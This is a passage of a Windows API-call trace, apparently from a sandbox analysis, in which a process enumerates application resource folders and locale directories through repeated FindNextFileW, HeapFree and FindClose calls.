ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0184.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.830] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0184.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.830] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0184.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.835] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0184.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.835] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0184.835] FindClose (in: hFindFile=0x72a588 | out: hFindFile=0x72a588) returned 1 [0184.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.836] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0184.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.836] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0184.836] FindClose (in: hFindFile=0x72a588 | out: hFindFile=0x72a588) returned 1 [0184.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.836] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0184.836] FindClose (in: hFindFile=0x72a448 | out: hFindFile=0x72a448) returned 1 [0184.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.836] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0184.837] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0184.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0184.839] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dc-annotations", cAlternateFileName="DC-ANN~1")) returned 1 [0184.866] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.867] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0184.867] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.867] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0184.867] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0184.867] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.868] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files", cAlternateFileName="DESKTO~2")) returned 1 [0184.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.871] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0184.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.877] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0184.878] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.878] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0184.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.879] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0184.880] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.881] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0184.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.882] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0184.883] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.883] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0184.884] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.884] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0184.885] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.885] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0184.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.886] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0184.887] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.887] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0184.888] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.888] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0184.891] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.891] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0184.892] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.900] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0184.904] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.904] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0184.918] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.918] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0184.919] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.919] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0184.919] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.920] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0184.920] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.921] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0184.921] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.921] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0184.922] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.922] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0184.924] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.924] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0185.191] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.191] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0185.191] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.191] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0185.191] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.191] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0185.192] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.192] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0185.192] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.192] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, 